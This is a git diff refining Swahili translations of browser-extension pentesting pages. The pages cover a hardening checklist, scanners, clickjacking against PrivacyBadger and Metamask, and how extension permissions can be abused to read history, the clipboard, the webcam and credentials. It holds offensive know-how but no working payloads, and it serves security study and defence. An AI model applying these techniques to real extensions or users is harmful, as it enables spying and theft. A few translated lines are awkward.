+Fungua Chrome na nenda kwenye `chrome://extensions/`. Washa "Developer mode" katika kona ya juu kulia. Bonyeza "Load unpacked extension...". Tembelea saraka ya nyongeza yako. Hii haisaidii kupakua msimbo wa chanzo, lakini ni muhimu kwa kutazama na kubadilisha msimbo wa nyongeza ambayo tayari imepakuliwa au kuandaliwa.
-## Seti ya data ya manifest ya kiendelezi cha Chrome
+## Seti ya data ya manifest ya nyongeza ya Chrome
-Ili kujaribu kubaini viendelezi vya kivinjari vilivyo hatarini unaweza kutumia [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) na kuangalia faili zao za manifest kwa ishara zinazoweza kuwa hatarini. Kwa mfano kuangalia viendelezi vyenye watumiaji zaidi ya 25000, `content_scripts` na ruhusa `nativeMessaing`:
+Ili kujaribu kubaini nyongeza za kivinjari zenye udhaifu unaweza kutumia [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) na kuangalia faili zao za manifest kwa ishara zinazoweza kuwa na udhaifu. Kwa mfano kuangalia nyongeza zenye watumiaji zaidi ya 25000, `content_scripts` na ruhusa `nativeMessaing`:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
@@ -643,13 +643,13 @@ Ingawa Kiongezeo cha Kivinjari kina **uso wa shambulio ulio na mipaka**, baadhi
- [ ] **Punguza** kadri iwezekanavyo **`permissions`** zinazohitajika
- [ ] **Punguza** kadri iwezekanavyo **`host_permissions`**
- [ ] Tumia **sera thabiti** ya **`content_security_policy`**
-- [ ] **Punguza** kadri iwezekanavyo **`externally_connectable`**, ikiwa hakuna inahitajika na inawezekana, usiache kwa chaguo la kawaida, eleza **`{}`**
+- [ ] **Punguza** kadri iwezekanavyo **`externally_connectable`**, ikiwa hakuna inahitajika na inawezekana, usiache kwa chaguo-msingi, eleza **`{}`**
- [ ] Ikiwa **URL inayoweza kuathiriwa na XSS au kuchukuliwa** imetajwa hapa, mshambuliaji ataweza **kutuma ujumbe kwa scripts za nyuma moja kwa moja**. Njia yenye nguvu ya kupita.
- [ ] **Punguza** kadri iwezekanavyo **`web_accessible_resources`**, hata ikiwa tupu ikiwa inawezekana.
- [ ] Ikiwa **`web_accessible_resources`** si hakuna, angalia [**ClickJacking**](browext-clickjacking.md)
- [ ] Ikiwa mawasiliano yoyote yanatokea kutoka kwa **kiongezeo** hadi **ukurasa wa wavuti**, [**angalia XSS**](browext-xss-example.md) **mapungufu** yaliyosababishwa katika mawasiliano.
- [ ] Ikiwa Post Messages zinatumika, angalia [**Post Message vulnerabilities**](../postmessage-vulnerabilities/)**.**
-- [ ] Ikiwa **Content Script inapata maelezo ya DOM**, angalia kwamba hazifanyi **XSS** ikiwa zinabadilishwa na wavuti
+- [ ] Ikiwa **Content Script inapata maelezo ya DOM**, angalia kwamba hazifanyi **XSS** ikiwa zitabadilishwa na wavuti
- [ ] Fanya mkazo maalum ikiwa mawasiliano haya yanahusishwa pia katika **Mawasiliano ya Content Script -> Script ya Nyuma**
- [ ] Ikiwa script ya nyuma inawasiliana kupitia **ujumbe wa asili** angalia mawasiliano ni salama na yameondolewa
- [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya **msimbo** wa Kiongezeo cha Kivinjari
@@ -670,13 +670,13 @@ Ingawa Kiongezeo cha Kivinjari kina **uso wa shambulio ulio na mipaka**, baadhi
- **Uchambuzi wa Hatari ya Clickjacking**: Ugunduzi wa kurasa za HTML za kiongezeo zenye mwelekeo wa [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) zilizowekwa. Hizi zinaweza kuwa na hatari ya clickjacking kulingana na kusudi la kurasa hizo.
- **Mtazamaji wa Onyo la Ruhusa**: unaonyesha orodha ya onyo zote za ruhusa za Chrome ambazo zitaonyeshwa wakati mtumiaji anajaribu kufunga kiongezeo.
- **Kazi Hatari**: inaonyesha eneo la kazi hatari ambazo zinaweza kutumiwa na mshambuliaji (mfano, kazi kama innerHTML, chrome.tabs.executeScript).
-- **Nukta za Kuingia**: inaonyesha mahali kiongezeo kinapochukua pembejeo za mtumiaji/za nje. Hii ni muhimu kwa kuelewa eneo la uso la kiongezeo na kutafuta maeneo yanayoweza kutumiwa kutuma data iliyoundwa kwa uovu kwa kiongezeo.
+- **Nukta za Kuingia**: inaonyesha mahali ambapo kiongezeo kinachukua pembejeo za mtumiaji/za nje. Hii ni muhimu kwa kuelewa eneo la uso la kiongezeo na kutafuta maeneo yanayoweza kutumiwa kutuma data iliyoundwa kwa uovu kwa kiongezeo.
- Wote skana za Kazi Hatari na Nukta za Kuingia zina yafuatayo kwa arifa zao zilizozalishwa:
- Kipande cha msimbo kinachohusiana na mstari ulioleta arifa.
- Maelezo ya tatizo.
- Kitufe cha "Tazama Faili" ili kuona faili kamili ya chanzo inayohusisha msimbo.
-- Njia ya faili iliyoarifiwa.
-- URI kamili ya kiongezeo cha Chrome ya faili iliyoarifiwa.
+- Njia ya faili iliyoonyeshwa.
+- URI kamili ya kiongezeo cha Chrome ya faili iliyoonyeshwa.
- Aina ya faili ni, kama vile script ya Ukurasa wa Nyuma, Script ya Maudhui, Kitendo cha Kivinjari, nk.
- Ikiwa mstari unaoweza kuathiriwa uko katika faili ya JavaScript, njia za kurasa zote ambapo imejumuishwa pamoja na aina za kurasa hizi, na hali ya [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
- **Mchambuzi wa Sera ya Usalama wa Maudhui (CSP) na mchakato wa kupita**: Hii itaonyesha udhaifu katika CSP ya kiongezeo chako na pia itaonyesha njia zozote zinazoweza kupita CSP yako kutokana na CDNs zilizoorodheshwa, nk.
@@ -684,7 +684,7 @@ Ingawa Kiongezeo cha Kivinjari kina **uso wa shambulio ulio na mipaka**, baadhi
- Pakua kiongezeo na toleo lililopangwa.
- Pakua kiongezeo asilia.
- Pakua toleo lililopambwa la kiongezeo (HTML na JavaScript iliyopambwa kiotomatiki).
-- Hifadhi matokeo ya uchunguzi kiotomatiki, kuendesha uchunguzi wa kiongezeo kutachukua muda mzuri mara ya kwanza unapoendesha. Hata hivyo, mara ya pili, ikiwa kiongezeo hakijasasishwa, itakuwa karibu mara moja kutokana na matokeo kuhifadhiwa.
+- Hifadhi matokeo ya uchunguzi kiotomatiki, kuendesha uchunguzi wa kiongezeo kutachukua muda mzuri mara ya kwanza unapoendesha. Hata hivyo, mara ya pili, ikiwa kiongezeo hakijasasishwa, itakuwa karibu papo hapo kutokana na matokeo kuhifadhiwa.
- URL za Ripoti zinazoweza kuunganishwa, rahisi kuunganisha mtu mwingine kwenye ripoti ya kiongezeo iliyozalishwa na tarnish.
### [Neto](https://github.com/elevenpaths/neto)
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
index fec05ecd3..b70aa223f 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
@@ -4,7 +4,7 @@
## Basic Information
-Ukurasa huu utatumia udhaifu wa ClickJacking katika nyongeza ya Kivinjari.\
+Ukurasa huu utafaidika na udhaifu wa ClickJacking katika nyongeza ya kivinjari.\
Ikiwa hujui ClickJacking ni nini angalia:
{{#ref}}
@@ -15,7 +15,7 @@ Nyongeza zina faili **`manifest.json`** na faili hiyo ya JSON ina uwanja `web_ac
> Rasilimali hizi zitapatikana katika ukurasa wa wavuti kupitia URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, ambayo inaweza kuzalishwa kwa kutumia **`extension.getURL method`**. Rasilimali zilizoorodheshwa zinatolewa na vichwa vya CORS vinavyofaa, hivyo zinapatikana kupitia mitambo kama XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
-**`web_accessible_resources`** katika nyongeza ya kivinjari si tu zinapatikana kupitia wavuti; pia zinafanya kazi kwa ruhusa za ndani za nyongeza. Hii inamaanisha zina uwezo wa:
+**`web_accessible_resources`** katika nyongeza ya kivinjari si tu zinazopatikana kupitia wavuti; pia zinafanya kazi kwa ruhusa za ndani za nyongeza. Hii inamaanisha zina uwezo wa:
- Kubadilisha hali ya nyongeza
- Kupakia rasilimali za ziada
@@ -32,7 +32,7 @@ Katika nyongeza ya PrivacyBadger, udhaifu uligundulika kuhusiana na saraka ya `s
"icons/*"
]
```
-Hali hii ilileta tatizo la usalama. Kwa haswa, faili la `skin/popup.html`, ambalo linaonyeshwa wakati wa mwingiliano na ikoni ya PrivacyBadger kwenye kivinjari, linaweza kuingizwa ndani ya `iframe`. Kuingizwa huku kunaweza kutumika kudanganya watumiaji kujiingiza kwa bahati mbaya kwenye kubofya "Disable PrivacyBadger for this Website". Kitendo kama hicho kingehatarisha faragha ya mtumiaji kwa kuzima ulinzi wa PrivacyBadger na kwa uwezekano kupelekea mtumiaji kufuatiliwa zaidi. Onyesho la kuona la exploit hii linaweza kuangaliwa katika mfano wa video ya ClickJacking iliyotolewa kwenye [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
+Mkonfigu huu ulisababisha tatizo la usalama. Kwa haswa, faili la `skin/popup.html`, ambalo linaonyeshwa wakati wa mwingiliano na ikoni ya PrivacyBadger kwenye kivinjari, linaweza kuingizwa ndani ya `iframe`. Kuingizwa huku kunaweza kutumika kudanganya watumiaji kujiingiza kwa bahati mbaya kwenye kubofya "Disable PrivacyBadger for this Website". Kitendo kama hicho kingeathiri faragha ya mtumiaji kwa kuzima ulinzi wa PrivacyBadger na kwa uwezekano kupelekea mtumiaji kufuatiliwa zaidi. Onyesho la kuona la exploit hii linaweza kuangaliwa katika mfano wa video ya ClickJacking iliyotolewa kwenye [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Ili kushughulikia udhaifu huu, suluhisho rahisi lilitekelezwa: kuondoa `/skin/*` kutoka kwenye orodha ya `web_accessible_resources`. Mabadiliko haya yalipunguza hatari kwa kuhakikisha kwamba maudhui ya saraka ya `skin/` hayawezi kufikiwa au kubadilishwa kupitia rasilimali zinazoweza kufikiwa mtandaoni.
@@ -79,11 +79,11 @@ A [**blog post about a ClickJacking in metamask can be found here**](https://slo
-**ClickJacking nyingine iliyorekebishwa** katika nyongeza ya Metamask ilikuwa kwamba watumiaji wangeweza **Click to whitelist** wakati ukurasa ulikuwa na shaka kuwa ni uvuvi kwa sababu ya `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Kwa kuwa ukurasa huo ulikuwa na udhaifu wa Clickjacking, mshambuliaji angeweza kuutumia kuonyesha kitu cha kawaida ili kumfanya mwathirika abonyeze kuorodhesha bila kutambua, na kisha kurudi kwenye ukurasa wa uvuvi ambao utaorodheshwa.
+**ClickJacking nyingine iliyorekebishwa** katika nyongeza ya Metamask ilikuwa kwamba watumiaji walikuwa na uwezo wa **Click to whitelist** wakati ukurasa ulikuwa na shaka kuwa ni uvuvi kwa sababu ya `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Kwa kuwa ukurasa huo ulikuwa na udhaifu wa Clickjacking, mshambuliaji angeweza kuutumia kuonyesha kitu cha kawaida ili kumfanya mwathirika abonyeze kuorodhesha bila kutambua, na kisha kurudi kwenye ukurasa wa uvuvi ambao utaorodheshwa.
## Mfano wa Steam Inventory Helper
-Angalia ukurasa ufuatao ili kuona jinsi **XSS** katika nyongeza ya kivinjari ilivyofunganishwa na udhaifu wa **ClickJacking**:
+Angalia ukurasa ufuatao ili kuona jinsi **XSS** katika nyongeza ya kivinjari ilivyofungamanishwa na udhaifu wa **ClickJacking**:
{{#ref}}
browext-xss-example.md
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
index 7a64246cd..e04a068bb 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
@@ -1,4 +1,4 @@
-# BrowExt - ruhusa & ruhusa_za_host
+# BrowExt - ruhusa & ruhusa_za_kiwanja
{{#include ../../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
### **`permissions`**
-Ruhusa zinapangwa katika faili la **`manifest.json`** la nyongeza kwa kutumia mali ya **`permissions`** na zinaruhusu ufikiaji wa karibu kila kitu ambacho kivinjari kinaweza kufikia (Cookies au Hifadhi ya Kimwili):
+Ruhusa zin defined katika faili la **`manifest.json`** la nyongeza kwa kutumia mali ya **`permissions`** na zinaruhusu ufikiaji wa karibu kila kitu ambacho kivinjari kinaweza kufikia (Cookies au Hifadhi ya Kimwili):
Manifest iliyopita inatangaza kwamba nyongeza inahitaji ruhusa ya `storage`. Hii inamaanisha kwamba inaweza kutumia [API ya hifadhi](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kuhifadhi data zake kwa muda mrefu. Tofauti na cookies au API za `localStorage` ambazo zinawapa watumiaji kiwango fulani cha udhibiti, **hifadhi ya nyongeza kwa kawaida inaweza kufutwa tu kwa kuondoa nyongeza**.
@@ -18,7 +18,7 @@ Unaweza kupata [**orodha kamili ya ruhusa ambazo Nyongeza ya Kivinjari cha Chrom
### `host_permissions`
-Mipangilio ya hiari lakini yenye nguvu **`host_permissions`** inaonyesha ni hosts gani nyongeza itakuwa na uwezo wa kuingiliana kupitia APIs kama [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), na [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
+Mipangilio ya hiari lakini yenye nguvu **`host_permissions`** inaonyesha ni mwenyeji gani ambao nyongeza itakuwa na uwezo wa kuingiliana nao kupitia APIs kama [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), na [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
Ruhusa zifuatazo za `host_permissions` kimsingi zinaruhusu kila wavuti:
```json
@@ -43,7 +43,7 @@ Hizi ni mwenyeji ambao nyongeza ya kivinjari inaweza kufikia bure. Hii ni kwa sa
### Tabs
-Zaidi ya hayo, **`host_permissions`** pia hufungua kazi za “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **. Zinawaruhusu nyongeza kuita [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) na sio tu kupata **orodha ya tabs za kivinjari za mtumiaji** bali pia kujifunza ni **ukurasa gani wa wavuti (maana anwani na kichwa) umepakuliwa**.
+Zaidi ya hayo, **`host_permissions`** pia inafungua kazi za “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **. Zinawawezesha nyongeza kuita [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) na sio tu kupata **orodha ya tabs za kivinjari za mtumiaji** bali pia kujifunza ni **ukurasa gani wa wavuti (maana anwani na kichwa) umepakuliwa**.
> [!CAUTION]
> Si hivyo tu, wasikilizaji kama [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **wanakuwa na manufaa zaidi pia**. Hizi zitaarifiwa kila wakati ukurasa mpya unapopakuliwa kwenye tab.
@@ -52,21 +52,21 @@ Zaidi ya hayo, **`host_permissions`** pia hufungua kazi za “advanced” [**tab
Scripts za maudhui si lazima ziandikwe kwa njia ya kudumu kwenye hati ya nyongeza. Ikiwa kuna **`host_permissions`** ya kutosha, **nyongeza zinaweza pia kuzipakia kwa njia ya kidinamikali kwa kuita** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **au** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
-APIs zote mbili zinaruhusu kutekeleza si tu faili zilizomo kwenye nyongeza kama scripts za maudhui bali pia **kod**e za kiholela. Ya kwanza inaruhusu kupitisha msimbo wa JavaScript kama string wakati ya pili inatarajia kazi ya JavaScript ambayo ina uwezekano mdogo wa udhaifu wa sindano. Hata hivyo, APIs zote mbili zitaharibu ikiwa zitatumiwa vibaya.
+APIs zote mbili zinaruhusu kutekeleza si tu faili zilizomo kwenye nyongeza kama scripts za maudhui bali pia **kod**e zisizo na mipaka. Ya kwanza inaruhusu kupitisha msimbo wa JavaScript kama string wakati ya pili inatarajia kazi ya JavaScript ambayo ina uwezekano mdogo wa udhaifu wa kuingizwa. Hata hivyo, APIs zote mbili zitaleta machafuko ikiwa zitatumiwa vibaya.
> [!CAUTION]
> Mbali na uwezo ulio juu, scripts za maudhui zinaweza kwa mfano **kudukua akidi** wakati zinapoingizwa kwenye kurasa za wavuti. Njia nyingine ya kawaida ya kuzitumia vibaya ni **kuingiza matangazo** kwenye kila tovuti. Kuongeza **ujumbe wa udanganyifu** ili kudhuru uaminifu wa tovuti za habari pia inawezekana. Hatimaye, zinaweza **kubadilisha tovuti za benki** ili kuelekeza uhamisho wa pesa.
### Privileges zisizo za moja kwa moja
-Baadhi ya ruhusa za nyongeza **hazihitaji kutangazwa wazi**. Mfano mmoja ni [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): kazi yake ya msingi inapatikana bila ruhusa yoyote. Nyongeza yoyote inaweza kuarifiwa unapofungua na kufunga tabs, haitajua tu ni tovuti zipi tabs hizi zinahusiana nazo.
+Baadhi ya haki za nyongeza **hazihitaji kutangazwa wazi**. Mfano mmoja ni [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): kazi yake ya msingi inapatikana bila haki zozote. Nyongeza yoyote inaweza kuarifiwa unapofungua na kufunga tabs, haitajua tu ni tovuti zipi tabs hizi zinahusiana nazo.
-Inasikika kuwa haina madhara? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) ni kidogo chini ya hivyo. Inaweza kutumika ku **unda tab mpya**, kimsingi sawa na [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) ambayo inaweza kuitwa na tovuti yoyote. Hata hivyo, wakati `window.open()` inakabiliwa na **kizuizi cha pop-up, `tabs.create()` haiko**.
+Inasikika kuwa haina madhara? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) ni kidogo zaidi. Inaweza kutumika ku **unda tab mpya**, kimsingi sawa na [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) ambayo inaweza kuitwa na tovuti yoyote. Hata hivyo, wakati `window.open()` inakabiliwa na **kizuizi cha pop-up, `tabs.create()` haiko hivyo**.
> [!CAUTION]
> Nyongeza inaweza kuunda idadi yoyote ya tabs wakati wowote inapotaka.
-Ukichunguza vigezo vya `tabs.create()`, pia utaona kwamba uwezo wake unazidi kile ambacho `window.open()` inaruhusiwa kudhibiti. Na wakati Firefox haitoi `data:` URIs kutumika na API hii, Chrome haina ulinzi kama huo. **Matumizi ya URIs kama hizo kwenye kiwango cha juu yamekuwa** [**yamepigwa marufuku kwa sababu ya kutumiwa vibaya kwa udukuzi**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
+Ukichunguza vigezo vya `tabs.create()`, pia utaona kwamba uwezo wake unazidi kile ambacho `window.open()` inaruhusiwa kudhibiti. Na wakati Firefox haiwezi kutumia `data:` URIs na API hii, Chrome haina ulinzi kama huo. **Matumizi ya URIs kama hizo kwenye kiwango cha juu yamekuwa** [**yamepigwa marufuku kwa sababu ya kutumiwa vibaya kwa udukuzi**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) ni sawa sana na `tabs.create()` lakini it **badilisha tab iliyopo**. Hivyo nyongeza mbaya inaweza kwa mfano kupakia ukurasa wa matangazo kwenye moja ya tabs zako, na inaweza pia kuamsha tab inayohusiana.
@@ -77,17 +77,17 @@ Huenda unajua kwamba tovuti zinaweza kuomba ruhusa maalum, kwa mfano ili kufikia
> [!CAUTION]
> Si hivyo kwa nyongeza za kivinjari. **Ikiwa nyongeza ya kivinjari** [**inataka kufikia kamera yako ya wavuti au kipaza sauti**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, inahitaji tu kuomba ruhusa mara moja**
-Kawaida, nyongeza itafanya hivyo mara moja baada ya kufungwa. Mara hii ombi likikubaliwa, **ufikiaji wa kamera ya wavuti unapatikana wakati wowote**, hata kama mtumiaji hajiingizi na nyongeza kwa wakati huu. Ndio, mtumiaji atakubali tu ombi hili ikiwa nyongeza inahitaji kweli ufikiaji wa kamera ya wavuti. Lakini baada ya hapo wanapaswa kuamini nyongeza hiyo isirekodi chochote kwa siri.
+Kawaida, nyongeza itafanya hivyo mara moja baada ya kufungwa. Mara hii ombi likikubaliwa, **ufikiaji wa kamera ya wavuti unapatikana wakati wowote**, hata kama mtumiaji hajishughulishi na nyongeza kwa wakati huu. Ndio, mtumiaji atakubali tu ombi hili ikiwa nyongeza inahitaji kweli ufikiaji wa kamera ya wavuti. Lakini baada ya hapo wanapaswa kuamini nyongeza hiyo isirekodi chochote kwa siri.
-Kwa ufikiaji wa [eneo lako halisi la kijiografia](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) au [maudhui ya clipboard yako](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), kutoa ruhusa wazi si lazima kabisa. **Nyongeza inachangia tu `geolocation` au `clipboard` kwenye** [**entry ya ruhusa**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **ya hati yake**. Hizi ruhusa za ufikiaji zinatolewa kwa njia isiyo ya moja kwa moja wakati nyongeza inasakinishwa. Hivyo nyongeza mbaya au iliyovunjika yenye ruhusa hizi inaweza kuunda wasifu wako wa mwendo au kufuatilia clipboard yako kwa nywila zilizokopwa bila wewe kugundua chochote.
+Kwa ufikiaji wa [eneo lako halisi la kijiografia](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) au [maudhui ya clipboard yako](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), kutoa ruhusa wazi si lazima kabisa. **Nyongeza inachangia tu `geolocation` au `clipboard` kwenye** [**kidirisha cha ruhusa**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **ya hati yake**. Hizi haki za ufikiaji kisha zinatolewa kwa njia isiyo ya moja kwa moja wakati nyongeza inafungwa. Hivyo nyongeza mbaya au iliyovunjika yenye haki hizi inaweza kuunda wasifu wako wa mwendo au kufuatilia clipboard yako kwa nywila zilizokopwa bila wewe kugundua chochote.
-Kuongeza neno **`history`** kwenye [entry ya ruhusa](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) ya hati ya nyongeza kunatoa **ufikiaji wa** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Inaruhusu kupata historia yote ya kivinjari ya mtumiaji mara moja, bila kusubiri mtumiaji kutembelea tovuti hizi tena.
+Kuongeza neno **`history`** kwenye [kidirisha cha ruhusa](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) ya hati ya nyongeza kunatoa **ufikiaji wa** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Inaruhusu kupata historia yote ya kivinjari ya mtumiaji mara moja, bila kusubiri mtumiaji kutembelea tovuti hizi tena.
Ruhusa ya **`bookmarks`** ina uwezo wa matumizi mabaya sawa, hii inaruhusu **kusoma alama zote kupitia** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
### Ruhusa ya Hifadhi
-Hifadhi ya nyongeza ni mkusanyiko wa funguo-thamani, sawa sana na [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) ambayo tovuti yoyote inaweza kutumia. Hivyo hakuna taarifa nyeti inapaswa kuhifadhiwa hapa.
+Hifadhi ya nyongeza ni mkusanyiko wa funguo-thamani, sawa na [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) ambayo tovuti yoyote inaweza kutumia. Hivyo hakuna taarifa nyeti inapaswa kuhifadhiwa hapa.
Hata hivyo, kampuni za matangazo zinaweza pia kutumia hifadhi hii vibaya.
@@ -99,9 +99,9 @@ Unaweza kupata [**orodha kamili ya ruhusa ambazo Nyongeza ya Kivinjari ya Chromi
Sera ya mtengenezaji wa Google inakataza wazi nyongeza kuomba ruhusa zaidi ya zile zinazohitajika kwa kazi zao, kwa ufanisi kupunguza maombi ya ruhusa kupita kiasi. Mfano mmoja ambapo nyongeza ya kivinjari ilipita mipaka hii ni pamoja na usambazaji wake na kivinjari chenyewe badala ya kupitia duka la nyongeza.
-Vivinjari vinaweza pia kupunguza matumizi mabaya ya ruhusa za nyongeza. Kwa mfano, APIs za Chrome [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) na [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) zinazotumika kwa kurekodi skrini, zimeundwa ili kupunguza matumizi mabaya. API ya tabCapture inaweza kuamshwa tu kupitia mwingiliano wa moja kwa moja wa mtumiaji, kama kubofya kwenye ikoni ya nyongeza, wakati desktopCapture inahitaji uthibitisho wa mtumiaji kwa dirisha lililo kwenye rekodi, kuzuia shughuli za kurekodi kwa siri.
+Vivinjari vinaweza pia kupunguza matumizi mabaya ya haki za nyongeza. Kwa mfano, [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) na [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs za Chrome, zinazotumika kwa kurekodi skrini, zimeundwa ili kupunguza matumizi mabaya. API ya tabCapture inaweza kuamshwa tu kupitia mwingiliano wa moja kwa moja wa mtumiaji, kama kubofya kwenye ikoni ya nyongeza, wakati desktopCapture inahitaji uthibitisho wa mtumiaji kwa dirisha kurekodiwa, kuzuia shughuli za kurekodi kwa siri.
-Hata hivyo, kuimarisha hatua za usalama mara nyingi husababisha kupungua kwa kubadilika na urahisi wa matumizi wa nyongeza. Ruhusa ya [activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) inaonyesha biashara hii. Ilianzishwa ili kuondoa hitaji la nyongeza kuomba ruhusa za mwenyeji katika mtandao mzima, ikiruhusu nyongeza kufikia tu tab ya sasa baada ya kuamshwa wazi na mtumiaji. Mfano huu ni mzuri kwa nyongeza zinazohitaji vitendo vilivyoanzishwa na mtumiaji lakini unashindwa kwa zile zinazohitaji vitendo vya kiotomatiki au vya awali, hivyo kuathiri urahisi na majibu ya haraka.
+Hata hivyo, kuimarisha hatua za usalama mara nyingi husababisha kupungua kwa kubadilika na urahisi wa matumizi wa nyongeza. Ruhusa ya [activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) inaonyesha biashara hii. Ilianzishwa ili kuondoa hitaji la nyongeza kuomba ruhusa za mwenyeji katika mtandao mzima, ikiruhusu nyongeza kufikia tu tab ya sasa baada ya kuamshwa wazi na mtumiaji. Mfano huu ni mzuri kwa nyongeza zinazohitaji vitendo vilivyoanzishwa na mtumiaji lakini unashindwa kwa zile zinazohitaji vitendo vya moja kwa moja au vya awali, hivyo kuathiri urahisi na majibu ya haraka.
## **Marejeleo**
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
index ff2960129..474b90fab 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
@@ -80,7 +80,7 @@ persistData()
```
Hii snippet inapata **thamani** kutoka kwa **`txtName`** input field na inatumia **mchanganyiko wa nyuzi kuunda HTML**, ambayo kisha inaongezwa kwenye DOM kwa kutumia jQuery’s `.append()` function.
-Kwa kawaida, Sera ya Usalama wa Maudhui (CSP) ya nyongeza ya Chrome ingepunguza udhaifu kama huu. Hata hivyo, kutokana na **kuondolewa kwa ukali kwa CSP na ‘unsafe-eval’** na matumizi ya mbinu za usimamizi wa DOM za jQuery (ambazo zinatumia [`globalEval()`](https://api.jquery.com/jquery.globaleval/) kupitisha scripts kwa [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) wakati wa kuingiza DOM), unyakuzi bado unawezekana.
